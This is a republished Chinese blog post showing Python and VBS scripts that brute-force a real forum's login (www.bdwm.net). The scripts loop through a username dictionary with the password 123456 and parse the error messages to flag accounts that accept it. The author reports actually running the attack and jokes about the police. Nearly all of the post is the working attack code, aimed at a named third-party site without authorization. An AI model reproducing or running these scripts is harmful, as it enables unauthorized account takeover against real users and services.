Python与VBS实现Web登录爆破的实战演示
本文展示如何利用Python的httplib库和VBS的MSXML2.XMLHTTP对象,向目标网站发送POST请求以验证用户名和密码的有效性。通过遍历字典文件并比对返回结果,快速检测是否存在弱密码如123456。代码包含完整的请求构造、响应解析及中英文转换处理,旨在提供基础的Web安全测试思路。
Python与VBS实现Web登录爆破的实战演示
面对是否真的要执行破解任务的疑问,作者决定借此机会测试自己的Python编程能力。
以下是Python版本的实现代码。
具体代码如下所示:
#coding: gbk
import httplib, urllib
def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return False
elif res.find("不存在这个用户") != -1:
return False
else:
return True
for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i
此外,作者还编写了一个VBS版本,并观察到VBS的执行速度似乎更快,但对此现象存疑。
VBS代码如下:
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With
Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密码不正确") Then
Check = False
ElseIf InStr(response,"不存在这个用户") Then
Check = False
Else
Check = True
End If
End Function
Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function
实验结果表明,密码123456确实具有极高的通用性。作者幽默地表示希望夜间不会因此受到警方关注。
原文地址:http://demon.tw/programming/python-a-little-trial.html
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













